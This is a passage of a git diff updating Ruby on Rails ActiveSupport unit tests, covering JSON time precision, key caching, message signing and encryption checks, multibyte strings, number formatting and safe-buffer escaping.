+  def test_twz_to_json_with_use_standard_json_time_format_config_set_to_true
+    with_standard_json_time_format(true) do
+      zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+      time = ActiveSupport::TimeWithZone.new(Time.utc(2000), zone)
+      assert_equal "\"1999-12-31T19:00:00.000-05:00\"", ActiveSupport::JSON.encode(time)
+    end
+  end
+
+  def test_twz_to_json_with_custom_time_precision
+    with_standard_json_time_format(true) do
+      with_time_precision(0) do
+        zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+        time = ActiveSupport::TimeWithZone.new(Time.utc(2000), zone)
+        assert_equal "\"1999-12-31T19:00:00-05:00\"", ActiveSupport::JSON.encode(time)
+      end
+    end
+  end
+
+  def test_time_to_json_with_custom_time_precision
+    with_standard_json_time_format(true) do
+      with_time_precision(0) do
+        assert_equal "\"2000-01-01T00:00:00Z\"", ActiveSupport::JSON.encode(Time.utc(2000))
+      end
+    end
+  end
+
+  def test_datetime_to_json_with_custom_time_precision
+    with_standard_json_time_format(true) do
+      with_time_precision(0) do
+        assert_equal "\"2000-01-01T00:00:00+00:00\"", ActiveSupport::JSON.encode(DateTime.new(2000))
+      end
+    end
+  end
+
+  def test_twz_to_json_when_wrapping_a_date_time
+    zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+    time = ActiveSupport::TimeWithZone.new(DateTime.new(2000), zone)
+    assert_equal '"1999-12-31T19:00:00.000-05:00"', ActiveSupport::JSON.encode(time)
+  end
+
   protected
 
     def object_keys(json_object)
       json_object[1..-2].scan(/([^{}:,\s]+):/).flatten.sort
     end
 
-    def with_env_tz(new_tz = 'US/Eastern')
-      old_tz, ENV['TZ'] = ENV['TZ'], new_tz
+    def with_standard_json_time_format(boolean = true)
+      old, ActiveSupport.use_standard_json_time_format = ActiveSupport.use_standard_json_time_format, boolean
+      yield
+    ensure
+      ActiveSupport.use_standard_json_time_format = old
+    end
+
+    def with_time_precision(value)
+      old_value = ActiveSupport::JSON::Encoding.time_precision
+      ActiveSupport::JSON::Encoding.time_precision = value
       yield
     ensure
-      old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
+      ActiveSupport::JSON::Encoding.time_precision = old_value
     end
 end
diff --git a/activesupport/test/key_generator_test.rb b/activesupport/test/key_generator_test.rb
index 525082d313..f7e8e9a795 100644
--- a/activesupport/test/key_generator_test.rb
+++ b/activesupport/test/key_generator_test.rb
@@ -29,4 +29,34 @@ class KeyGeneratorTest < ActiveSupport::TestCase
   end
 end
 
+class CachingKeyGeneratorTest < ActiveSupport::TestCase
+  def setup
+    @secret    = SecureRandom.hex(64)
+    @generator = ActiveSupport::KeyGenerator.new(@secret, :iterations=>2)
+    @caching_generator = ActiveSupport::CachingKeyGenerator.new(@generator)
+  end
+
+  test "Generating a cached key for same salt and key size" do
+    derived_key = @caching_generator.generate_key("some_salt", 32)
+    cached_key = @caching_generator.generate_key("some_salt", 32)
+
+    assert_equal derived_key, cached_key
+    assert_equal derived_key.object_id, cached_key.object_id
+  end
+
+  test "Does not cache key for different salt" do
+    derived_key = @caching_generator.generate_key("some_salt", 32)
+    different_salt_key = @caching_generator.generate_key("other_salt", 32)
+
+    assert_not_equal derived_key, different_salt_key
+  end
+
+  test "Does not cache key for different length" do
+    derived_key = @caching_generator.generate_key("some_salt", 32)
+    different_length_key = @caching_generator.generate_key("some_salt", 64)
+
+    assert_not_equal derived_key, different_length_key
+  end
+end
+
 end
diff --git a/activesupport/test/message_encryptor_test.rb b/activesupport/test/message_encryptor_test.rb
index 509c453b5c..eb71369397 100644
--- a/activesupport/test/message_encryptor_test.rb
+++ b/activesupport/test/message_encryptor_test.rb
@@ -1,12 +1,5 @@
 require 'abstract_unit'
-
-begin
-  require 'openssl'
-  OpenSSL::Digest::SHA1
-rescue LoadError, NameError
-  $stderr.puts "Skipping MessageEncryptor test: broken OpenSSL install"
-else
-
+require 'openssl'
 require 'active_support/time'
 require 'active_support/json'
 
@@ -60,12 +53,23 @@ class MessageEncryptorTest < ActiveSupport::TestCase
     ActiveSupport.use_standard_json_time_format = true
     encryptor = ActiveSupport::MessageEncryptor.new(SecureRandom.hex(64), SecureRandom.hex(64), :serializer => JSONSerializer.new)
     message = encryptor.encrypt_and_sign({ :foo => 123, 'bar' => Time.utc(2010) })
-    exp = { "foo" => 123, "bar" => "2010-01-01T00:00:00Z" }
+    exp = { "foo" => 123, "bar" => "2010-01-01T00:00:00.000Z" }
     assert_equal exp, encryptor.decrypt_and_verify(message)
   ensure
     ActiveSupport.use_standard_json_time_format = prev
   end
 
+  def test_message_obeys_strict_encoding
+    bad_encoding_characters = "\n!@#"
+    message, iv = @encryptor.encrypt_and_sign("This is a very \n\nhumble string"+bad_encoding_characters)
+
+    assert_not_decrypted("#{::Base64.encode64 message.to_s}--#{::Base64.encode64 iv.to_s}")
+    assert_not_verified("#{::Base64.encode64 message.to_s}--#{::Base64.encode64 iv.to_s}")
+
+    assert_not_decrypted([iv,  message] * bad_encoding_characters)
+    assert_not_verified([iv,  message] * bad_encoding_characters)
+  end
+
   private
 
   def assert_not_decrypted(value)
@@ -81,10 +85,8 @@ class MessageEncryptorTest < ActiveSupport::TestCase
   end
 
   def munge(base64_string)
-    bits = ::Base64.decode64(base64_string)
+    bits = ::Base64.strict_decode64(base64_string)
     bits.reverse!
     ::Base64.strict_encode64(bits)
   end
 end
-
-end
diff --git a/activesupport/test/message_verifier_test.rb b/activesupport/test/message_verifier_test.rb
index a8633f7299..6c3519df9a 100644
--- a/activesupport/test/message_verifier_test.rb
+++ b/activesupport/test/message_verifier_test.rb
@@ -1,17 +1,10 @@
 require 'abstract_unit'
-
-begin
-  require 'openssl'
-  OpenSSL::Digest::SHA1
-rescue LoadError, NameError
-  $stderr.puts "Skipping MessageVerifier test: broken OpenSSL install"
-else
-
+require 'openssl'
 require 'active_support/time'
 require 'active_support/json'
 
 class MessageVerifierTest < ActiveSupport::TestCase
-  
+
   class JSONSerializer
     def dump(value)
       ActiveSupport::JSON.encode(value)
@@ -21,45 +14,72 @@ class MessageVerifierTest < ActiveSupport::TestCase
       ActiveSupport::JSON.decode(value)
     end
   end
-  
+
   def setup
     @verifier = ActiveSupport::MessageVerifier.new("Hey, I'm a secret!")
     @data = { :some => "data", :now => Time.local(2010) }
   end
 
+  def test_valid_message
+    data, hash = @verifier.generate(@data).split("--")
+    assert !@verifier.valid_message?(nil)
+    assert !@verifier.valid_message?("")
+    assert !@verifier.valid_message?("#{data.reverse}--#{hash}")
+    assert !@verifier.valid_message?("#{data}--#{hash.reverse}")
+    assert !@verifier.valid_message?("purejunk")
+  end
+
   def test_simple_round_tripping
     message = @verifier.generate(@data)
+    assert_equal @data, @verifier.verified(message)
     assert_equal @data, @verifier.verify(message)
   end
 
-  def test_missing_signature_raises
-    assert_not_verified(nil)
-    assert_not_verified("")
+  def test_verified_returns_false_on_invalid_message
+    assert !@verifier.verified("purejunk")
   end
 
-  def test_tampered_data_raises
-    data, hash = @verifier.generate(@data).split("--")
-    assert_not_verified("#{data.reverse}--#{hash}")
-    assert_not_verified("#{data}--#{hash.reverse}")
-    assert_not_verified("purejunk")
+  def test_verify_exception_on_invalid_message
+    assert_raise(ActiveSupport::MessageVerifier::InvalidSignature) do
+      @verifier.verify("purejunk")
+    end
   end
-  
+
   def test_alternative_serialization_method
     prev = ActiveSupport.use_standard_json_time_format
     ActiveSupport.use_standard_json_time_format = true
     verifier = ActiveSupport::MessageVerifier.new("Hey, I'm a secret!", :serializer => JSONSerializer.new)
     message = verifier.generate({ :foo => 123, 'bar' => Time.utc(2010) })
-    exp = { "foo" => 123, "bar" => "2010-01-01T00:00:00Z" }
+    exp = { "foo" => 123, "bar" => "2010-01-01T00:00:00.000Z" }
+    assert_equal exp, verifier.verified(message)
     assert_equal exp, verifier.verify(message)
   ensure
     ActiveSupport.use_standard_json_time_format = prev
   end
-  
-  def assert_not_verified(message)
-    assert_raise(ActiveSupport::MessageVerifier::InvalidSignature) do
-      @verifier.verify(message)
+
+  def test_raise_error_when_argument_class_is_not_loaded
+    # To generate the valid message below:
+    #
+    #   AutoloadClass = Struct.new(:foo)
+    #   valid_message = @verifier.generate(foo: AutoloadClass.new('foo'))
+    #
+    valid_message = "BAh7BjoIZm9vbzonTWVzc2FnZVZlcmlmaWVyVGVzdDo6QXV0b2xvYWRDbGFzcwY6CUBmb29JIghmb28GOgZFVA==--f3ef39a5241c365083770566dc7a9eb5d6ace914"
+    exception = assert_raise(ArgumentError, NameError) do
+      @verifier.verified(valid_message)
     end
+    assert_includes ["uninitialized constant MessageVerifierTest::AutoloadClass",
+                    "undefined class/module MessageVerifierTest::AutoloadClass"], exception.message
+    exception = assert_raise(ArgumentError, NameError) do
+      @verifier.verify(valid_message)
+    end
+    assert_includes ["uninitialized constant MessageVerifierTest::AutoloadClass",
+                    "undefined class/module MessageVerifierTest::AutoloadClass"], exception.message
   end
-end
 
+  def test_raise_error_when_secret_is_nil
+    exception = assert_raise(ArgumentError) do
+      ActiveSupport::MessageVerifier.new(nil)
+    end
+    assert_equal exception.message, 'Secret should not be nil.'
+  end
 end
diff --git a/activesupport/test/multibyte_chars_test.rb b/activesupport/test/multibyte_chars_test.rb
index 2bf73291a2..e1c4b705f8 100644
--- a/activesupport/test/multibyte_chars_test.rb
+++ b/activesupport/test/multibyte_chars_test.rb
@@ -1,21 +1,13 @@
-# encoding: utf-8
 require 'abstract_unit'
 require 'multibyte_test_helpers'
 require 'active_support/core_ext/string/multibyte'
 
-class String
-  def __method_for_multibyte_testing_with_integer_result; 1; end
-  def __method_for_multibyte_testing; 'result'; end
-  def __method_for_multibyte_testing!; 'result'; end
-  def __method_for_multibyte_testing_that_returns_nil!; end
-end
-
 class MultibyteCharsTest < ActiveSupport::TestCase
   include MultibyteTestHelpers
 
   def setup
     @proxy_class = ActiveSupport::Multibyte::Chars
-    @chars = @proxy_class.new UNICODE_STRING
+    @chars = @proxy_class.new UNICODE_STRING.dup
   end
 
   def test_wraps_the_original_string
@@ -24,6 +16,8 @@ class MultibyteCharsTest < ActiveSupport::TestCase
   end
 
   def test_should_allow_method_calls_to_string
+    @chars.wrapped_string.singleton_class.class_eval { def __method_for_multibyte_testing; 'result'; end }
+
     assert_nothing_raised do
       @chars.__method_for_multibyte_testing
     end
@@ -33,28 +27,35 @@ class MultibyteCharsTest < ActiveSupport::TestCase
   end
 
   def test_forwarded_method_calls_should_return_new_chars_instance
+    @chars.wrapped_string.singleton_class.class_eval { def __method_for_multibyte_testing; 'result'; end }
+
     assert_kind_of @proxy_class, @chars.__method_for_multibyte_testing
     assert_not_equal @chars.object_id, @chars.__method_for_multibyte_testing.object_id
   end
 
   def test_forwarded_bang_method_calls_should_return_the_original_chars_instance_when_result_is_not_nil
+    @chars.wrapped_string.singleton_class.class_eval { def __method_for_multibyte_testing!; 'result'; end }
+
     assert_kind_of @proxy_class, @chars.__method_for_multibyte_testing!
     assert_equal @chars.object_id, @chars.__method_for_multibyte_testing!.object_id
   end
 
   def test_forwarded_bang_method_calls_should_return_nil_when_result_is_nil
+    @chars.wrapped_string.singleton_class.class_eval { def __method_for_multibyte_testing_that_returns_nil!; end }
+
     assert_nil @chars.__method_for_multibyte_testing_that_returns_nil!
   end
 
   def test_methods_are_forwarded_to_wrapped_string_for_byte_strings
-    original_encoding = BYTE_STRING.encoding
     assert_equal BYTE_STRING.length, BYTE_STRING.mb_chars.length
-  ensure
-    BYTE_STRING.force_encoding(original_encoding)
   end
 
   def test_forwarded_method_with_non_string_result_should_be_returned_vertabim
-    assert_equal ''.__method_for_multibyte_testing_with_integer_result, @chars.__method_for_multibyte_testing_with_integer_result
+    str = ''
+    str.singleton_class.class_eval { def __method_for_multibyte_testing_with_integer_result; 1; end }
+    @chars.wrapped_string.singleton_class.class_eval { def __method_for_multibyte_testing_with_integer_result; 1; end }
+
+    assert_equal str.__method_for_multibyte_testing_with_integer_result, @chars.__method_for_multibyte_testing_with_integer_result
   end
 
   def test_should_concatenate
@@ -103,7 +104,6 @@ class MultibyteCharsUTF8BehaviourTest < ActiveSupport::TestCase
     @chars = UNICODE_STRING.dup.mb_chars
     # Ruby 1.9 only supports basic whitespace
     @whitespace = "\n\t "
-    @byte_order_mark = [65279].pack('U')
   end
 
   def test_split_should_return_an_array_of_chars_instances
@@ -181,7 +181,7 @@ class MultibyteCharsUTF8BehaviourTest < ActiveSupport::TestCase
   end
 
   def test_sortability
-    words = %w(builder armor zebra).sort_by { |s| s.mb_chars }
+    words = %w(builder armor zebra).sort_by(&:mb_chars)
     assert_equal %w(armor builder zebra), words
   end
 
@@ -221,9 +221,9 @@ class MultibyteCharsUTF8BehaviourTest < ActiveSupport::TestCase
   end
 
   def test_include_raises_when_nil_is_passed
-    @chars.include?(nil)
-    flunk "Expected chars.include?(nil) to raise TypeError or NoMethodError"
-  rescue Exception
+    assert_raises TypeError, NoMethodError, "Expected chars.include?(nil) to raise TypeError or NoMethodError" do
+      @chars.include?(nil)
+    end
   end
 
   def test_index_should_return_character_offset
diff --git a/activesupport/test/multibyte_conformance.rb b/activesupport/test/multibyte_conformance_test.rb
index 2baf724da4..d8704716e7 100644
--- a/activesupport/test/multibyte_conformance.rb
+++ b/activesupport/test/multibyte_conformance_test.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 
 require 'abstract_unit'
 require 'multibyte_test_helpers'
@@ -10,7 +9,6 @@ require 'tmpdir'
 class Downloader
   def self.download(from, to)
     unless File.exist?(to)
-      $stderr.puts "Downloading #{from} to #{to}"
       unless File.exist?(File.dirname(to))
         system "mkdir -p #{File.dirname(to)}"
       end
@@ -20,8 +18,9 @@ class Downloader
             target.write l
           end
         end
-       end
-     end
+      end
+    end
+    true
   end
 end
 
@@ -31,11 +30,15 @@ class MultibyteConformanceTest < ActiveSupport::TestCase
   UNIDATA_URL = "http://www.unicode.org/Public/#{ActiveSupport::Multibyte::Unicode::UNICODE_VERSION}/ucd"
   UNIDATA_FILE = '/NormalizationTest.txt'
   CACHE_DIR = File.join(Dir.tmpdir, 'cache')
+  FileUtils.mkdir_p(CACHE_DIR)
+  RUN_P = begin
+            Downloader.download(UNIDATA_URL + UNIDATA_FILE, CACHE_DIR + UNIDATA_FILE)
+          rescue
+          end
 
   def setup
-    FileUtils.mkdir_p(CACHE_DIR)
-    Downloader.download(UNIDATA_URL + UNIDATA_FILE, CACHE_DIR + UNIDATA_FILE)
     @proxy = ActiveSupport::Multibyte::Chars
+    skip "Unable to download test data" unless RUN_P
   end
 
   def test_normalizations_C
@@ -111,7 +114,7 @@ class MultibyteConformanceTest < ActiveSupport::TestCase
           next if (line.empty? || line =~ /^\#/)
 
           cols, comment = line.split("#")
-          cols = cols.split(";").map{|e| e.strip}.reject{|e| e.empty? }
+          cols = cols.split(";").map(&:strip).reject(&:empty?)
           next unless cols.length == 5
 
           # codepoints are in hex in the test suite, pack wants them as integers
@@ -126,4 +129,4 @@ class MultibyteConformanceTest < ActiveSupport::TestCase
     def inspect_codepoints(str)
       str.to_s.unpack("U*").map{|cp| cp.to_s(16) }.join(' ')
     end
-end
\ No newline at end of file
+end
diff --git a/activesupport/test/multibyte_proxy_test.rb b/activesupport/test/multibyte_proxy_test.rb
new file mode 100644
index 0000000000..11f5374017
--- /dev/null
+++ b/activesupport/test/multibyte_proxy_test.rb
@@ -0,0 +1,33 @@
+
+require 'abstract_unit'
+
+class MultibyteProxyText < ActiveSupport::TestCase
+  class AsciiOnlyEncoder
+    attr_reader :wrapped_string
+    alias to_s wrapped_string
+
+    def initialize(string)
+      @wrapped_string = string.gsub(/[^\u0000-\u007F]/, '?')
+    end
+  end
+
+  def with_custom_encoder(encoder)
+    original_proxy_class = ActiveSupport::Multibyte.proxy_class
+
+    begin
+      ActiveSupport::Multibyte.proxy_class = encoder
+
+      yield
+    ensure
+      ActiveSupport::Multibyte.proxy_class = original_proxy_class
+    end
+  end
+
+  test "custom multibyte encoder" do
+    with_custom_encoder(AsciiOnlyEncoder) do
+      assert_equal "s?me string 123", "søme string 123".mb_chars.to_s
+    end
+
+    assert_equal "søme string 123", "søme string 123".mb_chars.to_s
+  end
+end
diff --git a/activesupport/test/multibyte_test_helpers.rb b/activesupport/test/multibyte_test_helpers.rb
index fdbe2f4350..2e4b5cc873 100644
--- a/activesupport/test/multibyte_test_helpers.rb
+++ b/activesupport/test/multibyte_test_helpers.rb
@@ -1,9 +1,8 @@
-# encoding: utf-8
 
 module MultibyteTestHelpers
-  UNICODE_STRING = 'こにちわ'
-  ASCII_STRING = 'ohayo'
-  BYTE_STRING = "\270\236\010\210\245".force_encoding("ASCII-8BIT")
+  UNICODE_STRING = 'こにちわ'.freeze
+  ASCII_STRING = 'ohayo'.freeze
+  BYTE_STRING = "\270\236\010\210\245".force_encoding("ASCII-8BIT").freeze
 
   def chars(str)
     ActiveSupport::Multibyte::Chars.new(str)
diff --git a/activesupport/test/multibyte_unicode_database_test.rb b/activesupport/test/multibyte_unicode_database_test.rb
index bec65daf50..52ae266f01 100644
--- a/activesupport/test/multibyte_unicode_database_test.rb
+++ b/activesupport/test/multibyte_unicode_database_test.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 require 'abstract_unit'
 
 
diff --git a/activesupport/test/number_helper_i18n_test.rb b/activesupport/test/number_helper_i18n_test.rb
index 65aecece71..e6925e9083 100644
--- a/activesupport/test/number_helper_i18n_test.rb
+++ b/activesupport/test/number_helper_i18n_test.rb
@@ -43,6 +43,10 @@ module ActiveSupport
       :custom_units_for_number_to_human => {:mili => "mm", :centi => "cm", :deci => "dm", :unit => "m", :ten => "dam", :hundred => "hm", :thousand => "km"}
     end
 
+    def teardown
+      I18n.backend.reload!
+    end
+
     def test_number_to_i18n_currency
       assert_equal("&$ - 10.00", number_to_currency(10, :locale => 'ts'))
       assert_equal("(&$ - 10.00)", number_to_currency(-10, :locale => 'ts'))
@@ -50,8 +54,6 @@ module ActiveSupport
     end
 
     def test_number_to_currency_with_empty_i18n_store
-      I18n.backend.store_translations 'empty', {}
-
       assert_equal("$10.00", number_to_currency(10, :locale => 'empty'))
       assert_equal("-$10.00", number_to_currency(-10, :locale => 'empty'))
     end
@@ -80,8 +82,6 @@ module ActiveSupport
     end
 
     def test_number_with_i18n_precision_and_empty_i18n_store
-      I18n.backend.store_translations 'empty', {}
-
       assert_equal("123456789.123", number_to_rounded(123456789.123456789, :locale => 'empty'))
       assert_equal("1.000", number_to_rounded(1.0000, :locale => 'empty'))
     end
@@ -92,8 +92,6 @@ module ActiveSupport
     end
 
     def test_number_with_i18n_delimiter_and_empty_i18n_store
-      I18n.backend.store_translations 'empty', {}
-
       assert_equal("1,000,000.234", number_to_delimited(1000000.234, :locale => 'empty'))
     end
 
@@ -107,8 +105,6 @@ module ActiveSupport
     end
 
     def test_number_to_i18n_percentage_and_empty_i18n_store
-      I18n.backend.store_translations 'empty', {}
-
       assert_equal("1.000%", number_to_percentage(1, :locale => 'empty'))
       assert_equal("1.243%", number_to_percentage(1.2434, :locale => 'empty'))
       assert_equal("12434.000%", number_to_percentage(12434, :locale => 'empty'))
@@ -121,8 +117,6 @@ module ActiveSupport
     end
 
     def test_number_to_i18n_human_size_with_empty_i18n_store
-      I18n.backend.store_translations 'empty', {}
-
       assert_equal("2 KB", number_to_human_size(2048, :locale => 'empty'))
       assert_equal("42 Bytes", number_to_human_size(42, :locale => 'empty'))
     end
@@ -142,8 +136,6 @@ module ActiveSupport
     end
 
     def test_number_to_human_with_empty_i18n_store
-      I18n.backend.store_translations 'empty', {}
-
       assert_equal "2 Thousand", number_to_human(2000, :locale => 'empty')
       assert_equal "1.23 Billion", number_to_human(1234567890, :locale => 'empty')
     end
diff --git a/activesupport/test/number_helper_test.rb b/activesupport/test/number_helper_test.rb
index 1fadef3637..23996ef381 100644
--- a/activesupport/test/number_helper_test.rb
+++ b/activesupport/test/number_helper_test.rb
@@ -1,5 +1,6 @@
 require 'abstract_unit'
 require 'active_support/number_helper'
+require 'active_support/core_ext/string/output_safety'
 
 module ActiveSupport
   module NumberHelper
@@ -79,6 +80,13 @@ module ActiveSupport
           assert_equal("123.4%", number_helper.number_to_percentage(123.400, :precision => 3, :strip_insignificant_zeros => true))
           assert_equal("1.000,000%", number_helper.number_to_percentage(1000, :delimiter => '.', :separator => ','))
           assert_equal("1000.000  %", number_helper.number_to_percentage(1000, :format => "%n  %"))
+          assert_equal("98a%", number_helper.number_to_percentage("98a"))
+          assert_equal("NaN%", number_helper.number_to_percentage(Float::NAN))
+          assert_equal("Inf%", number_helper.number_to_percentage(Float::INFINITY))
+          assert_equal("1000%", number_helper.number_to_percentage(1000, precision: nil))
+          assert_equal("1000%", number_helper.number_to_percentage(1000, precision: nil))
+          assert_equal("1000.1%", number_helper.number_to_percentage(1000.1, precision: nil))
+          assert_equal("-0.13 %", number_helper.number_to_percentage("-0.13", precision: nil, format: "%n %"))
         end
       end
 
@@ -94,6 +102,7 @@ module ActiveSupport
           assert_equal("123,456,789.78901", number_helper.number_to_delimited(123456789.78901))
           assert_equal("0.78901", number_helper.number_to_delimited(0.78901))
           assert_equal("123,456.78", number_helper.number_to_delimited("123456.78"))
+          assert_equal("123,456.78", number_helper.number_to_delimited("123456.78".html_safe))
         end
       end
 
@@ -102,7 +111,6 @@ module ActiveSupport
           assert_equal '12 345 678', number_helper.number_to_delimited(12345678, :delimiter => ' ')
           assert_equal '12,345,678-05', number_helper.number_to_delimited(12345678.05, :separator => '-')
           assert_equal '12.345.678,05', number_helper.number_to_delimited(12345678.05, :separator => ',', :delimiter => '.')
-          assert_equal '12.345.678,05', number_helper.number_to_delimited(12345678.05, :delimiter => '.', :separator => ',')
         end
       end
 
@@ -124,6 +132,14 @@ module ActiveSupport
           assert_equal("10.00", number_helper.number_to_rounded(9.995, :precision => 2))
           assert_equal("11.00", number_helper.number_to_rounded(10.995, :precision => 2))
           assert_equal("0.00", number_helper.number_to_rounded(-0.001, :precision => 2))
+
+          assert_equal("111.23460000000000000000", number_helper.number_to_rounded(111.2346, :precision => 20))
+          assert_equal("111.23460000000000000000", number_helper.number_to_rounded(Rational(1112346, 10000), :precision => 20))
+          assert_equal("111.23460000000000000000", number_helper.number_to_rounded('111.2346', :precision => 20))
+          assert_equal("111.23460000000000000000", number_helper.number_to_rounded(BigDecimal(111.2346, Float::DIG), :precision => 20))
+          assert_equal("111.2346" + "0"*96, number_helper.number_to_rounded('111.2346', :precision => 100))
+          assert_equal("111.2346", number_helper.number_to_rounded(Rational(1112346, 10000), :precision => 4))
+          assert_equal('0.00', number_helper.number_to_rounded(Rational(0, 1), :precision => 2))
         end
       end
 
@@ -156,6 +172,15 @@ module ActiveSupport
           assert_equal "10.0", number_helper.number_to_rounded(9.995, :precision => 3, :significant => true)
           assert_equal "9.99", number_helper.number_to_rounded(9.994, :precision => 3, :significant => true)
           assert_equal "11.0", number_helper.number_to_rounded(10.995, :precision => 3, :significant => true)
+
+          assert_equal "9775.0000000000000000", number_helper.number_to_rounded(9775, :precision => 20, :significant => true )
+          assert_equal "9775.0000000000000000", number_helper.number_to_rounded(9775.0, :precision => 20, :significant => true )
+          assert_equal "9775.0000000000000000", number_helper.number_to_rounded(Rational(9775, 1), :precision => 20, :significant => true )
+          assert_equal "97.750000000000000000", number_helper.number_to_rounded(Rational(9775, 100), :precision => 20, :significant => true )
+          assert_equal "9775.0000000000000000", number_helper.number_to_rounded(BigDecimal(9775), :precision => 20, :significant => true )
+          assert_equal "9775.0000000000000000", number_helper.number_to_rounded("9775", :precision => 20, :significant => true )
+          assert_equal "9775." + "0"*96, number_helper.number_to_rounded("9775", :precision => 100, :significant => true )
+          assert_equal("97.7", number_helper.number_to_rounded(Rational(9772, 100), :precision => 3, :significant => true))
         end
       end
 
@@ -370,12 +395,6 @@ module ActiveSupport
         end
       end
 
-      def test_extending_or_including_number_helper_correctly_hides_private_methods
-        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
-          assert !number_helper.respond_to?(:valid_float?)
-          assert number_helper.respond_to?(:valid_float?, true)
-        end
-      end
     end
   end
 end
diff --git a/activesupport/test/option_merger_test.rb b/activesupport/test/option_merger_test.rb
index 9d139b61b8..4c0364e68b 100644
--- a/activesupport/test/option_merger_test.rb
+++ b/activesupport/test/option_merger_test.rb
@@ -79,6 +79,15 @@ class OptionMergerTest < ActiveSupport::TestCase
     assert_equal ActiveSupport::OptionMerger, ActiveSupport::OptionMerger.new('', '').class
   end
 
+  def test_option_merger_implicit_receiver
+    @options.with_options foo: "bar" do
+      merge! fizz: "buzz"
+    end
+
+    expected = { hello: "world", foo: "bar", fizz: "buzz" }
+    assert_equal expected, @options
+  end
+
   private
     def method_with_options(options = {})
       options
diff --git a/activesupport/test/ordered_hash_test.rb b/activesupport/test/ordered_hash_test.rb
index c3fe89de4b..460a61613e 100644
--- a/activesupport/test/ordered_hash_test.rb
+++ b/activesupport/test/ordered_hash_test.rb
@@ -1,6 +1,6 @@
 require 'abstract_unit'
 require 'active_support/json'
-require 'active_support/core_ext/object/to_json'
+require 'active_support/core_ext/object/json'
 require 'active_support/core_ext/hash/indifferent_access'
 require 'active_support/core_ext/array/extract_options'
 
@@ -120,7 +120,9 @@ class OrderedHashTest < ActiveSupport::TestCase
   end
 
   def test_select
-    assert_equal @keys, @ordered_hash.select { true }.map(&:first)
+    new_ordered_hash = @ordered_hash.select { true }
+    assert_equal @keys, new_ordered_hash.map(&:first)
+    assert_instance_of ActiveSupport::OrderedHash, new_ordered_hash
   end
 
   def test_delete_if
@@ -143,6 +145,7 @@ class OrderedHashTest < ActiveSupport::TestCase
     assert_equal copy, @ordered_hash
     assert !new_ordered_hash.keys.include?('pink')
     assert @ordered_hash.keys.include?('pink')
+    assert_instance_of ActiveSupport::OrderedHash, new_ordered_hash
   end
 
   def test_clear
diff --git a/activesupport/test/rescuable_test.rb b/activesupport/test/rescuable_test.rb
index ec9d231125..bd43ad0797 100644
--- a/activesupport/test/rescuable_test.rb
+++ b/activesupport/test/rescuable_test.rb
@@ -12,6 +12,12 @@ end
 class CoolError < StandardError
 end
 
+module WeirdError
+  def self.===(other)
+    Exception === other && other.respond_to?(:weird?)
+  end
+end
+
 class Stargate
   attr_accessor :result
 
@@ -29,6 +35,10 @@ class Stargate
     @result = e.message
   end
 
+  rescue_from WeirdError do
+    @result = 'weird'
+  end
+
   def dispatch(method)
     send(method)
   rescue Exception => e
@@ -47,6 +57,16 @@ class Stargate
     raise MadRonon.new("dex")
   end
 
+  def weird
+    StandardError.new.tap do |exc|
+      def exc.weird?
+        true
+      end
+
+      raise exc
+    end
+  end
+
   def sos
     @result = 'killed'
   end
@@ -91,15 +111,20 @@ class RescuableTest < ActiveSupport::TestCase
     assert_equal 'dex', @stargate.result
   end
 
+  def test_rescue_from_error_dispatchers_with_case_operator
+    @stargate.dispatch :weird
+    assert_equal 'weird', @stargate.result
+  end
+
   def test_rescues_defined_later_are_added_at_end_of_the_rescue_handlers_array
-    expected = ["WraithAttack", "WraithAttack", "NuclearExplosion", "MadRonon"]
-    result = @stargate.send(:rescue_handlers).collect {|e| e.first}
+    expected = ["WraithAttack", "WraithAttack", "NuclearExplosion", "MadRonon", "WeirdError"]
+    result = @stargate.send(:rescue_handlers).collect(&:first)
     assert_equal expected, result
   end
 
   def test_children_should_inherit_rescue_definitions_from_parents_and_child_rescue_should_be_appended
-    expected = ["WraithAttack", "WraithAttack", "NuclearExplosion", "MadRonon", "CoolError"]
-    result = @cool_stargate.send(:rescue_handlers).collect {|e| e.first}
+    expected = ["WraithAttack", "WraithAttack", "NuclearExplosion", "MadRonon", "WeirdError", "CoolError"]
+    result = @cool_stargate.send(:rescue_handlers).collect(&:first)
     assert_equal expected, result
   end
 end
diff --git a/activesupport/test/safe_buffer_test.rb b/activesupport/test/safe_buffer_test.rb
index 047b89be2a..18fb6d2fbf 100644
--- a/activesupport/test/safe_buffer_test.rb
+++ b/activesupport/test/safe_buffer_test.rb
@@ -61,6 +61,13 @@ class SafeBufferTest < ActiveSupport::TestCase
     assert_equal({'str' => str}, YAML.load(yaml))
   end
 
+  test "Should work with primitive-like-strings in to_yaml conversion" do
+    assert_equal 'true',  YAML.load(ActiveSupport::SafeBuffer.new('true').to_yaml)
+    assert_equal 'false', YAML.load(ActiveSupport::SafeBuffer.new('false').to_yaml)
+    assert_equal '1',     YAML.load(ActiveSupport::SafeBuffer.new('1').to_yaml)
+    assert_equal '1.1',   YAML.load(ActiveSupport::SafeBuffer.new('1.1').to_yaml)
+  end
+
   test "Should work with underscore" do
     str = "MyTest".html_safe.underscore
     assert_equal "my_test", str
@@ -140,4 +147,34 @@ class SafeBufferTest < ActiveSupport::TestCase
     # should still be unsafe
     assert !y.html_safe?, "should not be safe"
   end
+
+  test 'Should work with interpolation (array argument)' do
+    x = 'foo %s bar'.html_safe % ['qux']
+    assert_equal 'foo qux bar', x
+  end
+
+  test 'Should work with interpolation (hash argument)' do
+    x = 'foo %{x} bar'.html_safe % { x: 'qux' }
+    assert_equal 'foo qux bar', x
+  end
+
+  test 'Should escape unsafe interpolated args' do
+    x = 'foo %{x} bar'.html_safe % { x: '<br/>' }
+    assert_equal 'foo &lt;br/&gt; bar', x
+  end
+
+  test 'Should not escape safe interpolated args' do
+    x = 'foo %{x} bar'.html_safe % { x: '<br/>'.html_safe }
+    assert_equal 'foo <br/> bar', x
+  end
+
+  test 'Should interpolate to a safe string' do
+    x = 'foo %{x} bar'.html_safe % { x: 'qux' }
+    assert x.html_safe?, 'should be safe'
+  end
+
+  test 'Should not affect frozen objects when accessing characters' do
+    x = 'Hello'.html_safe
+    assert_equal x[/a/, 1], nil
+  end
 end
